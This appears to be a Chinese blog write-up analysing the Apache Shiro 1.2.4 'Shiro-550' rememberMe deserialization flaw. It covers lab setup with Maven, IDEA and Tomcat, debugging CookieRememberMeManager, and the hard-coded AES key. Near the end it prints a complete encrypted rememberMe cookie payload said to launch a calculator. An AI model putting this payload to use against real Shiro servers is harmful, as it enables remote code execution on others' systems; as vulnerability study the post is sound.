shiro550反序列化源代码分析

准备:

需要maven,jdk1.8,IDEA,[shiro-1.2.4](https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4)

进入samples\web目录,拖到idea里,加载pom文件的依赖

踩坑:

问题1:
代码运行起来之后,一直包没有commons-collections4-4.0.jar这个依赖,导致不能反序列化
刚开始配置的是公司的maven地址,后来换成阿里的解决了
pom.xml依赖如下
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
问题2:
下载之后还是不行执行不了反序列化
把刚才的依赖拉到项目下lib目录下即可,使项目去lib下找相关的依赖包

配置tomcat

在代码中配置tomcat,如果没配置访问目录,点击fix去配置

在这里插入图片描述点击tomcat的启动三角即可运行
在这里插入图片描述

我们分析的代码在扩展库中的shiro-web-1.2.4.jar下的org.apache.shiro.web/mgt/CookieRememberMemanager.class中

在这里插入图片描述在刚才说的.class文件中的84行下断点就可以开启调试模式,调试代码了
在这里插入图片描述shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
下面的payload,cookie中设置可弹出计算机

rememberMe=2VtmGn/yq66+kkqTe0oWMh0wm7ZwQaysYDm/gQAaDj4qMiQfTDuTgeP6D1OXYNx1CPjGRujSgcIGri9bjLX2fyKZqrEGxb3D3IwoI9hRorNy6ibZJFJx3rvQhan9Pe2Gog3YNfFN1ziK5YPSgp8PH1U/3Ga/A/j3WhtQY1GqL6tuqPEcJMFI89PBdf7K/sJ3Lhsb9DWBR8sk6c0Z0AMHi+/anelEnQBmOHC++LlsUziAsVhDNmvfWQ3mtRi5VqhaCM8AT10aBVwZxhmzdxPNQBUXzK7zag8DKweOHkngki8/Gy4Mkz4xufQAkU9f3se2knjga0j9y4uXh0ib1K6mVhBngukTstFoLBTscZxGskhHOC3V7YcCYz0bE2+15CG0qrVw0ujjjKTlWdzDUQ38C+cmV208jcyqdAduVdC4r4uCDerHZP9aoZG75IGTe4H88OTXswgf17XKYoQKHDkMbdZrjsWiuTvq4bY6xdsYe+2oH10Ump1aSL7u46vg2dur3WyHN2wEE/EQovTMmsi8kV4HF9SJy7eouRU6OvLUWD9FIy2KPWMddTf+lx7PTVzeqJZEEXLXpkud2MnCmUw42tR8
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值